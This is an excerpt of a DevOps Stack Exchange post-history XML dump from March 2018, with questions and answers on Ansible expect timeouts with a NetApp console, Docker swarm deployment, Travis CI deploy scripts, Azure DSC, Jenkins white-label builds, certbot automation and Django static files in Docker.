  <row Id="11586" PostHistoryTypeId="5" PostId="3688" RevisionGUID="14670fa8-4f5a-449b-bb05-0a5f21b91893" CreationDate="2018-03-23T12:23:37.643" UserId="6591" Comment="deleted 14 characters in body" Text="I've noticed that the expect module will always time out and cause an `rc=1` code. It's doing everything that I want it to, I just want to move to another module.&#xD;&#xA;&#xD;&#xA;How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt;TASK [Disk Unassignment] ***************************************************************************************************************************************************************************&#xD;&#xA;    task path: /home/sansible/ansible/disk-unassign.yaml:13&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;telnet '10.233.82.7' '2045'&quot;, &quot;delta&quot;: &quot;0:05:07.775726&quot;, &quot;end&quot;: &quot;2018-03-22 12:30:52.315879&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2018-03-22 12:25:44.540153&quot;, &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape character is '^]'.\r\r\necho\r\nConnected to port 45. \r\necho\r\nInvalid command: \&quot;echo\&quot;\r\nAvailable commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help\r\n\r\nError (errcode=-1)\r\nLOADER-A&gt; boot_diags\r\nLoading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20\r\nLoading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 \r\nStarting program at 0x80294c20\r\nNetApp Data ONTAP 9.1RC2X9\r\n**Invalid config, overriding as ignore_chassis_config is set** \r\n\r\nTrying to mount root from msdosfs:/dev/da0s1 [ro]...\r\nmd0 attached to /X86_64/freebsd/image1/rootfs.img\r\nTrying to mount root from ufs:/env/md0.uzip []...\r\nmountroot: waiting for device /env/md0.uzip ...\r\nCopyright (C) 1992-2016 NetApp.\r\nAll rights reserved.\r\nWriting loader environment to the boot device.\r\nLoader environment has been saved to the boot device.\r\n*******************************\r\n*                             *\r\n* Press Ctrl-C for Boot Menu. *\r\n*                             *\r\n*******************************  \t\r\nNo SVM keys found.\r\nFirewall rules loaded.\r\nIpspace \&quot;ACP\&quot; created\r\nWAFL CPLEDGER is enabled. Checklist = 0x7ff841ff\r\nadd host 127.0.10.1: gateway 127.0.20.1\r\n5\r\n\r\n\tNOTE: You have chosen to boot the diagnostics kernel.\r\n\tUse the 'sldiag' command in order to run diagnostics on the system.\r\n\r\n\r\n\tYou have selected the maintenance boot option:\r\n\tthe system has booted in maintenance mode allowing the\r\n\tfollowing operations to be performed:\r\n\r\n\t?                 \tacorn             \r\n\tacpadmin          \taggr              \r\n\tcna_flash         \tdisk              \r\n\tdisk_latency      \tdisk_list         \r\n\tdisk_mung         \tdisk_shelf        \r\n\tdiskcopy          \tdisktest          \r\n\tdumpblock         \tenvironment       \r\n\tfcadmin           \tfcstat            \r\n\tfctest            \tfru_led           \r\n\tha-config         \thalt              \r\n\thelp              \tifconfig          \r\n\tkey_manager       \tled_off           \r\n\tled_on            \tnicadmin          \r\n\tnv8               \traid_config       \r\n\tsasadmin          \tsasstat           \r\n\tscsi              \tsesdiag           \r\n\tsldiag            \tstorage           \r\n\tstsb              \tsysconfig         \r\n\tsystemshell       \tucadmin           \r\n\tversion           \tvmservices        \r\n\tvol               \tvol_db            \r\n\tvsa               \txortest           \r\n\r\n\tType \&quot;help &lt;command&gt;\&quot; for more details.\r\n\r\n\r\n\tIn a High Availablity configuration, you MUST ensure that the \r\n\tpartner node is (and remains) down, or that takeover is manually \r\n\tdisabled on the partner node, because High Availability \r\n\tsoftware is not started or fully enabled in Maintenance mode.\r\n\r\n\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED\r\n\r\n\tNOTE: It is okay to use 'show/status' sub-commands such as\r\n\t'disk show or aggr status' in Maintenance mode while the partner is up\r\nContinue with boot? yes\r\nyes\r\n\r\n\r\nMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\rMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\r\r\nThu Mar 22 12:24:49 EDT 2018\r\n*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP\r\n \r\n\rdisk remove_ownership all\r\nAll disks will have their ownership information removed.\r\nFor high availability (HA) configurations, the partner node must be down.\r\nDo you wish to continue? yes\r\nVolumes must be taken offline. Are all impacted volumes offline(y/n)?? yes\r\n*&gt; &quot;, &quot;stdout_lines&quot;: [&quot;Trying 10.233.82.7...&quot;, &quot;&quot;, &quot;Connected to 10.233.82.7.&quot;, &quot;&quot;, &quot;Escape character is '^]'.&quot;, &quot;&quot;, &quot;echo&quot;, &quot;Connected to port 45. &quot;, &quot;echo&quot;, &quot;Invalid command: \&quot;echo\&quot;&quot;, &quot;Available commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help&quot;, &quot;&quot;, &quot;Error (errcode=-1)&quot;, &quot;LOADER-A&gt; boot_diags&quot;, &quot;Loading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20&quot;, &quot;Loading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 &quot;, &quot;Starting program at 0x80294c20&quot;, &quot;NetApp Data ONTAP 9.1RC2X9&quot;, &quot;**Invalid config, overriding as ignore_chassis_config is set** &quot;, &quot;&quot;, &quot;Trying to mount root from msdosfs:/dev/da0s1 [ro]...&quot;, &quot;md0 attached to /X86_64/freebsd/image1/rootfs.img&quot;, &quot;Trying to mount root from ufs:/env/md0.uzip []...&quot;, &quot;mountroot: waiting for device /env/md0.uzip ...&quot;, &quot;Copyright (C) 1992-2016 NetApp.&quot;, &quot;All rights reserved.&quot;, &quot;Writing loader environment to the boot device.&quot;, &quot;Loader environment has been saved to the boot device.&quot;, &quot;*******************************&quot;, &quot;*                             *&quot;, &quot;* Press Ctrl-C for Boot Menu. *&quot;, &quot;*                             *&quot;, &quot;*******************************  \t&quot;, &quot;No SVM keys found.&quot;, &quot;Firewall rules loaded.&quot;, &quot;Ipspace \&quot;ACP\&quot; created&quot;, &quot;WAFL CPLEDGER is enabled. Checklist = 0x7ff841ff&quot;, &quot;add host 127.0.10.1: gateway 127.0.20.1&quot;, &quot;5&quot;, &quot;&quot;, &quot;\tNOTE: You have chosen to boot the diagnostics kernel.&quot;, &quot;\tUse the 'sldiag' command in order to run diagnostics on the system.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tYou have selected the maintenance boot option:&quot;, &quot;\tthe system has booted in maintenance mode allowing the&quot;, &quot;\tfollowing operations to be performed:&quot;, &quot;&quot;, &quot;\t?                 \tacorn             &quot;, &quot;\tacpadmin          \taggr              &quot;, &quot;\tcna_flash         \tdisk              &quot;, &quot;\tdisk_latency      \tdisk_list         &quot;, &quot;\tdisk_mung         \tdisk_shelf        &quot;, &quot;\tdiskcopy          \tdisktest          &quot;, &quot;\tdumpblock         \tenvironment       &quot;, &quot;\tfcadmin           \tfcstat            &quot;, &quot;\tfctest            \tfru_led           &quot;, &quot;\tha-config         \thalt              &quot;, &quot;\thelp              \tifconfig          &quot;, &quot;\tkey_manager       \tled_off           &quot;, &quot;\tled_on            \tnicadmin          &quot;, &quot;\tnv8               \traid_config       &quot;, &quot;\tsasadmin          \tsasstat           &quot;, &quot;\tscsi              \tsesdiag           &quot;, &quot;\tsldiag            \tstorage           &quot;, &quot;\tstsb              \tsysconfig         &quot;, &quot;\tsystemshell       \tucadmin           &quot;, &quot;\tversion           \tvmservices        &quot;, &quot;\tvol               \tvol_db            &quot;, &quot;\tvsa               \txortest           &quot;, &quot;&quot;, &quot;\tType \&quot;help &lt;command&gt;\&quot; for more details.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tIn a High Availablity configuration, you MUST ensure that the &quot;, &quot;\tpartner node is (and remains) down, or that takeover is manually &quot;, &quot;\tdisabled on the partner node, because High Availability &quot;, &quot;\tsoftware is not started or fully enabled in Maintenance mode.&quot;, &quot;&quot;, &quot;\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED&quot;, &quot;&quot;, &quot;\tNOTE: It is okay to use 'show/status' sub-commands such as&quot;, &quot;\t'disk show or aggr status' in Maintenance mode while the partner is up&quot;, &quot;Continue with boot? yes&quot;, &quot;yes&quot;, &quot;&quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;&quot;, &quot;Thu Mar 22 12:24:49 EDT 2018&quot;, &quot;*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP&quot;, &quot; &quot;, &quot;&quot;, &quot;disk remove_ownership all&quot;, &quot;All disks will have their ownership information removed.&quot;, &quot;For high availability (HA) configurations, the partner node must be down.&quot;, &quot;Do you wish to continue? yes&quot;, &quot;Volumes must be taken offline. Are all impacted volumes offline(y/n)?? yes&quot;, &quot;*&gt; &quot;]}&#xD;&#xA;            to retry, use: --limit @/home/sansible/ansible/disk-unassign.retry&#xD;&#xA;&#xD;&#xA;&gt;PLAY RECAP *****************************************************************************************************************************************************************************************&#xD;&#xA;localhost                  : ok=0    changed=0    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11587" PostHistoryTypeId="5" PostId="3690" RevisionGUID="b32c4716-0eed-4305-8da9-e5bc664e7636" CreationDate="2018-03-23T14:39:53.603" UserId="6769" Comment="docker service ps output was a little bit displaced" Text="I have a problem with my docker swarm. I created a new service with the following command:&#xD;&#xA;&#xD;&#xA;    docker-compose config | docker stack deploy -c - serviceNameX --with-registry-auth&#xD;&#xA;&#xD;&#xA;The docker-compose file looks like that:&#xD;&#xA;&#xD;&#xA;    version: '3.1'&#xD;&#xA;    services:&#xD;&#xA;      serviceNameX:&#xD;&#xA;        image: ${DOCKER_REGISTRY}imageNameX:${VERSION}&#xD;&#xA;        deploy:&#xD;&#xA;          resources:&#xD;&#xA;            limits:&#xD;&#xA;              memory: 2gb&#xD;&#xA;        env_file:&#xD;&#xA;          - ../common.env&#xD;&#xA;          - .env&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        external:&#xD;&#xA;          name: ${DOCKER_NETWORK}&#xD;&#xA;&#xD;&#xA;fyi: docker-compose config is used because docker stack deploy can't expand environment variables. At least to my knowledge.&#xD;&#xA;&#xD;&#xA;docker service ps serviceNameX&#xD;&#xA;&#xD;&#xA;    ID                  NAME                              IMAGE                                                         NODE                DESIRED STATE       CURRENT STATE       ERROR               PORTS&#xD;&#xA;    ify7vhl0l2m8        serviceNameX.1   nexus.local/imageNameX:1                                                                           Running             New 2 hours ago&#xD;&#xA;&#xD;&#xA;docker service ls&#xD;&#xA;&#xD;&#xA;    afnjo97f6nuf        serviceNameX                      replicated          0/1                 nexus.local/imageNameX:1&#xD;&#xA;&#xD;&#xA;All nodes are Ready and Active&#xD;&#xA;&#xD;&#xA;There is no indication or information of an error. Usually docker service ps shows if an error occurs. Is there another useful log?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11588" PostHistoryTypeId="50" PostId="3066" RevisionGUID="9dc89a8c-b7da-479f-865c-ae31e0c9e769" CreationDate="2018-03-23T19:03:18.477" UserId="-1" />
  <row Id="11589" PostHistoryTypeId="50" PostId="3226" RevisionGUID="449c8458-1d61-4b67-9e63-b786175f4629" CreationDate="2018-03-23T22:03:31.317" UserId="-1" />
  <row Id="11590" PostHistoryTypeId="5" PostId="3648" RevisionGUID="fc3dd4e7-d4e8-4095-9533-f28689b56843" CreationDate="2018-03-24T08:08:19.443" UserId="5879" Comment="Add updated deploy script" Text="I currently have continuous deployment set up with a Travis CI job. All pushes are sent to the staging server and merges to the master to the production server. The problem is that the deployment to the production server is done before the merge is accepted. The continuous integration tests have to all pass, but the deployment occurs before manual code review is done.&#xD;&#xA;&#xD;&#xA;The question is, what is a lightweight method to ensure that a deployment to the production server only takes place after the merge request has been accepted?&#xD;&#xA;&#xD;&#xA;As a reference, the following code is used for deployment:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # exit with nonzero exit code if anything fails&#xD;&#xA;    set -e&#xD;&#xA;    &#xD;&#xA;    # Add the SSH login key&#xD;&#xA;    chmod 600 veleda-deploy-key&#xD;&#xA;    mv veleda-deploy-key ~/.ssh/id_rsa&#xD;&#xA;    &#xD;&#xA;    # Register the Veleda staging and production server SSH keys&#xD;&#xA;    echo '|1|BqdQKtUnA/AtCT/p2M7wgMq3wlY=|lH39cRtAE64wd6EG3ry2J9ewXic= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH3antqwy3D4NVVfHQX3SQc/g4wl/SAVC9w9QEry7hhQmB0SJIprwNAq8Hy2DzVCS7kTj/q7fCiiL7oAznrax+0=' &gt;&gt; $HOME/.ssh/known_hosts&#xD;&#xA;    echo '|1|+Z7oOsZ+zdL6u8o8VSWp+bRzd2g=|XMw2HyJIHoekOYlJYw1n75plL2E= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCJ/fa/mr577/qCuRXqUNccfmhpUtmi46LSyE7nDbOgxv8kZFs7yQ/sh6TM5npR+ZIbe9I0qmdvA+cE1QfvN21E=' &gt;&gt; $HOME/.ssh/known_hosts&#xD;&#xA;    &#xD;&#xA;    # Select the remote to push to depending on the branch&#xD;&#xA;    if [ $TRAVIS_BRANCH != 'production' ] ; then&#xD;&#xA;        echo &quot;Pushing to staging&quot;&#xD;&#xA;        export REMOTE=staging.veleda.io&#xD;&#xA;    else&#xD;&#xA;        echo &quot;Pushing to production&quot;&#xD;&#xA;        export REMOTE=veleda.io&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # Push to the remote server&#xD;&#xA;    git remote add deploy &quot;deploy@$REMOTE:/home/deploy/repo/&quot;&#xD;&#xA;    git push -f deploy $TRAVIS_BRANCH&#xD;&#xA;    &#xD;&#xA;    # Unpack and update the Docker services&#xD;&#xA;    ssh -t deploy@&quot;$REMOTE&quot; &quot;\&#xD;&#xA;        mkdir -p veleda &amp;&amp;&#xD;&#xA;        git --work-tree=./veleda --git-dir=./repo checkout -f $TRAVIS_BRANCH &amp;&amp;&#xD;&#xA;        cd veleda &amp;&amp;&#xD;&#xA;        ./start.sh&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11591" PostHistoryTypeId="2" PostId="3707" RevisionGUID="bc627ed0-d7d1-486c-abaa-a2c4e624e334" CreationDate="2018-03-24T08:39:52.703" UserId="5879" Text="The updated deploy script in the question supports the following workflow (and requires this [server setup][1]):&#xD;&#xA;&#xD;&#xA;1. Create a feature branch and push commits to it&#xD;&#xA;2. Each push deploys the code to the staging server&#xD;&#xA;3. Review the code with merge request (feature branch --&gt; master)&#xD;&#xA;4. After merging to master, create a new merge request (master --&gt; production)&#xD;&#xA;&#xD;&#xA;Due to Github merge request errata, I rebase when merging to master but normal merges when merging to production. The reason behind this is that Github [creates new commits][2] (different SHA1) when rebasing.&#xD;&#xA;&#xD;&#xA;&gt; The rebase and merge behavior on GitHub deviates slightly from git&#xD;&#xA;&gt; rebase. Rebase and merge on GitHub will always update the committer&#xD;&#xA;&gt; information and create new commit SHAs, whereas git rebase outside of&#xD;&#xA;&gt; GitHub does not change the committer information when the rebase&#xD;&#xA;&gt; happens on top of an ancestor commit.&#xD;&#xA;&#xD;&#xA;The main difference with this workflow to 030's answer is that a *production* branch is used instead of tags.&#xD;&#xA;&#xD;&#xA;For bonus points use *staging* [SSL certificates][3] from Let's Encrypt on your staging server. To enable it while using a [reverse proxy][4] in Docker, set `LETSENCRYPT_TEST=true`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/mayaculpa/veleda/blob/master/server_setup.md&#xD;&#xA;  [2]: https://help.github.com/articles/about-pull-request-merges/&#xD;&#xA;  [3]: https://letsencrypt.org/docs/staging-environment/&#xD;&#xA;  [4]: https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion" ContentLicense="CC BY-SA 3.0" />
  <row Id="11592" PostHistoryTypeId="50" PostId="3112" RevisionGUID="8b8bfb03-5e68-4590-90f4-9bee1e91bae5" CreationDate="2018-03-24T15:18:26.107" UserId="-1" />
  <row Id="11593" PostHistoryTypeId="2" PostId="3708" RevisionGUID="902d20bf-2733-4da4-bfec-4f53a63bd9ff" CreationDate="2018-03-24T18:27:12.203" UserId="7082" Text="The Azure Automation DSC seems to know to integrate with GitHub, but it seems to expect only runbooks there. At least, this is what I understand from the following UI screen:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I have just started to learn DSC and have no runbooks. So far I only used DSC configurations, no runbooks.&#xD;&#xA;&#xD;&#xA;So, is it only possible for runbooks? Does it mean that nobody works with just DSC configurations?&#xD;&#xA;&#xD;&#xA;**P.S.**&#xD;&#xA;&#xD;&#xA;Knowing that DSC stands for Desired State **Configuration** I find the term DSC **configurations** a bit funny. &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6NFDk.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="11594" PostHistoryTypeId="1" PostId="3708" RevisionGUID="902d20bf-2733-4da4-bfec-4f53a63bd9ff" CreationDate="2018-03-24T18:27:12.203" UserId="7082" Text="Is it possible to keep all the DSC configurations in Version Control and make Azure Automation fetch it from there automatically?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11595" PostHistoryTypeId="3" PostId="3708" RevisionGUID="902d20bf-2733-4da4-bfec-4f53a63bd9ff" CreationDate="2018-03-24T18:27:12.203" UserId="7082" Text="&lt;automation&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11596" PostHistoryTypeId="2" PostId="3709" RevisionGUID="19d04354-33c3-416c-955c-3cb6235febfb" CreationDate="2018-03-24T18:37:21.597" UserId="7084" Text="Looking for advice on how best to configure my workflow.&#xD;&#xA;&#xD;&#xA;I have an application, that we currently customise for clients (white label) but our OLD devs have made the deployment of this very messy, multiple branches for each client. So merging is a nightmare and some clients are missing features etc.&#xD;&#xA;&#xD;&#xA;The only difference between the clients version of our app, is some minor CSS changes and a couple of images.&#xD;&#xA;&#xD;&#xA;We currently build with Jenkins and host with AWS Elastic Beanstalk.&#xD;&#xA;&#xD;&#xA;What my question is, once we have merged and corrected the issues with the old developers. Am I able to trigger a single or multiple builds, from 1 branch and replace all the CSS values in my app and a couple of images? So we can just push to our master branch and build our production app and also all our clients white labels" ContentLicense="CC BY-SA 3.0" />
  <row Id="11597" PostHistoryTypeId="1" PostId="3709" RevisionGUID="19d04354-33c3-416c-955c-3cb6235febfb" CreationDate="2018-03-24T18:37:21.597" UserId="7084" Text="Multiple builds from one branch but different CSS values" ContentLicense="CC BY-SA 3.0" />
  <row Id="11598" PostHistoryTypeId="3" PostId="3709" RevisionGUID="19d04354-33c3-416c-955c-3cb6235febfb" CreationDate="2018-03-24T18:37:21.597" UserId="7084" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11599" PostHistoryTypeId="2" PostId="3710" RevisionGUID="4deec361-57f5-4b40-a6cb-0183a32cf0c4" CreationDate="2018-03-24T19:32:56.327" UserId="7082" Text="I am looking for a central configuration management framework that supports the following scenarios:&#xD;&#xA;&#xD;&#xA; 1. Desired State Configuration. My expectation is to express the desired configuration in code and have the framework ensure it constantly to prevent the configuration drift. And, of course, it should support the pull mode.&#xD;&#xA; 1. All the configuration is managed in the Source Control (git, for example). I.e. no ad hoc scripts.&#xD;&#xA;&#xD;&#xA;I come from the software development environment where having code outside of the Version Control is unthinkable. I want to treat my DSC specs the same - everything is in the version control, so when the configuration is changed by anyone it is easy to know exactly when, why, how and who changed it.&#xD;&#xA;&#xD;&#xA;I started to look at the Azure Automation DSC, not sure if it fits the bill though - see https://devops.stackexchange.com/questions/3708/is-it-possible-to-keep-all-the-dsc-configurations-in-version-control-and-make-az&#xD;&#xA;&#xD;&#xA;Our servers are Windows Servers. Mostly 2012R2 with 2016 being slowly introduced.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11600" PostHistoryTypeId="1" PostId="3710" RevisionGUID="4deec361-57f5-4b40-a6cb-0183a32cf0c4" CreationDate="2018-03-24T19:32:56.327" UserId="7082" Text="Looking for a Desired State and Configuration is Code central configuration management framework" ContentLicense="CC BY-SA 3.0" />
  <row Id="11601" PostHistoryTypeId="3" PostId="3710" RevisionGUID="4deec361-57f5-4b40-a6cb-0183a32cf0c4" CreationDate="2018-03-24T19:32:56.327" UserId="7082" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11602" PostHistoryTypeId="2" PostId="3711" RevisionGUID="7810ed87-5826-4261-b4ec-b96cd6b19894" CreationDate="2018-03-24T21:04:56.927" UserId="7086" Text="I currently have a doubt for my last line of code to make it work in ansible, the code is the following:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    &#xD;&#xA;    sudo apt-get upgrade&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install apache2 python-letsencrypt-apache&#xD;&#xA;    &#xD;&#xA;    sudo letsencrypt --apache&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-software-properties&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install software-properties-common&#xD;&#xA;    &#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-certbot-apache&#xD;&#xA;    &#xD;&#xA;    sudo certbot --webroot-path /var/www/html -d www.web.tk&#xD;&#xA;&#xD;&#xA;Now I would like to convert it to Ansible:&#xD;&#xA;&#xD;&#xA;- apt_repository:&#xD;&#xA;    repo: 'ppa:certbot/certbot'&#xD;&#xA;&#xD;&#xA;- apt:&#xD;&#xA;    name: &quot;{{ item }}&quot;&#xD;&#xA;    update_cache: yes&#xD;&#xA;  with_items:&#xD;&#xA;    - all items above&#xD;&#xA;&#xD;&#xA;But I have a problem as the line:&#xD;&#xA;&#xD;&#xA;     sudo letsencrypt --apache&#xD;&#xA;&#xD;&#xA;Requires user interaction and I would like to give it the website and email from ansible inventory file" ContentLicense="CC BY-SA 3.0" />
  <row Id="11603" PostHistoryTypeId="1" PostId="3711" RevisionGUID="7810ed87-5826-4261-b4ec-b96cd6b19894" CreationDate="2018-03-24T21:04:56.927" UserId="7086" Text="Ansible translation: Installing Apache + Certbot in Ubuntu" ContentLicense="CC BY-SA 3.0" />
  <row Id="11604" PostHistoryTypeId="3" PostId="3711" RevisionGUID="7810ed87-5826-4261-b4ec-b96cd6b19894" CreationDate="2018-03-24T21:04:56.927" UserId="7086" Text="&lt;ansible&gt;&lt;certbot&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11605" PostHistoryTypeId="50" PostId="3144" RevisionGUID="20c79ca0-ecb2-407e-8a34-db982c774834" CreationDate="2018-03-24T21:22:04.170" UserId="-1" />
  <row Id="11613" PostHistoryTypeId="2" PostId="3713" RevisionGUID="6bf224ac-9965-41b4-8adf-00ddaae52bbb" CreationDate="2018-03-25T03:42:09.187" UserId="7089" Text="We use Chef Vault at my company.  Here's a quick tutorial&#xD;&#xA;[How to Create Chef-Vault][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=_hjZpGypu2E &quot;How to Create Chef-Vault&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11614" PostHistoryTypeId="4" PostId="3710" RevisionGUID="ab0f8804-01ea-44c3-94f4-0f529546516e" CreationDate="2018-03-25T04:19:06.073" UserId="47" Comment="fixed typo in title" Text="Looking for a Desired State and Configuration as Code central configuration management framework" ContentLicense="CC BY-SA 3.0" />
  <row Id="11615" PostHistoryTypeId="6" PostId="3710" RevisionGUID="ab0f8804-01ea-44c3-94f4-0f529546516e" CreationDate="2018-03-25T04:19:06.073" UserId="47" Comment="fixed typo in title" Text="&lt;configuration-management&gt;&lt;casc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11617" PostHistoryTypeId="2" PostId="3714" RevisionGUID="5f7fd46e-324d-4793-86a4-a62b7a5eeec2" CreationDate="2018-03-25T12:38:34.097" UserId="210" Text="If you really want to create the role yourself, you have to use `--agree-tos --noninteractive` to disable user interaction.&#xD;&#xA;&#xD;&#xA;See https://certbot.eff.org/docs/using.html for more details" ContentLicense="CC BY-SA 3.0" />
  <row Id="11618" PostHistoryTypeId="50" PostId="3421" RevisionGUID="f3857bbb-ea31-4223-93de-2ff1ac9e3c23" CreationDate="2018-03-25T17:22:12.283" UserId="-1" />
  <row Id="11619" PostHistoryTypeId="50" PostId="3411" RevisionGUID="f0aafc43-a61b-4930-a6e0-f66e82e5dea2" CreationDate="2018-03-25T20:22:12.560" UserId="-1" />
  <row Id="11620" PostHistoryTypeId="2" PostId="3715" RevisionGUID="52741492-924b-4e75-a897-d2a58f8f4e54" CreationDate="2018-03-26T06:01:40.677" UserId="7096" Text="I'm completely new to Docker and Django and I'm having trouble getting my Docker app to serve inside Django. Curently, I'm building my running my docker container with this command:&#xD;&#xA;&#xD;&#xA;    docker run -it --name web -p 8000:8000 --link mysql:db -v ~/directory:/app django&#xD;&#xA;&#xD;&#xA;where `mysql` and `django` refer to containers defined earlier.&#xD;&#xA;&#xD;&#xA;Next, I'm using `manage.py` to make migrations and migrate, then serving with the following command:&#xD;&#xA;&#xD;&#xA;    mod_wsgi-express start-server --reload-on-changes --working-directory /app/voting_project /app/voting_project/voting_project/wsgi.py &amp;&#xD;&#xA;&#xD;&#xA;When I visit `localhost:8000` in my browser, it successfully renders the HTML template, but the CSS and images which I see locally are missing.&#xD;&#xA;&#xD;&#xA;The following errors are logged in the console:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I've played with the structure of my directories a bit, but I can't seem to get the browser to find anything in `localhost:8000/static` or `localhost:8000/images`.&#xD;&#xA;&#xD;&#xA;I'm assuming 8000 is mapping to somewhere weird in my local directories, but I realize this could also be caused by a number of other things. Please let me know if I'm making any obvious mistakes.&#xD;&#xA;&#xD;&#xA;Thanks so much!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/kHAoq.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="11621" PostHistoryTypeId="1" PostId="3715" RevisionGUID="52741492-924b-4e75-a897-d2a58f8f4e54" CreationDate="2018-03-26T06:01:40.677" UserId="7096" Text="Docker &amp; Django - what directory does localhost point to?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11622" PostHistoryTypeId="3" PostId="3715" RevisionGUID="52741492-924b-4e75-a897-d2a58f8f4e54" CreationDate="2018-03-26T06:01:40.677" UserId="7096" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11623" PostHistoryTypeId="2" PostId="3716" RevisionGUID="e4927b1e-7591-4422-ad98-30fc1b782b99" CreationDate="2018-03-26T06:36:03.057" UserId="6668" Text="    docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'  `id`&#xD;&#xA;&#xD;&#xA;To get the IP Address of docker container.&#xD;&#xA;&#xD;&#xA;Then try curl ip-address:8000." ContentLicense="CC BY-SA 3.0" />
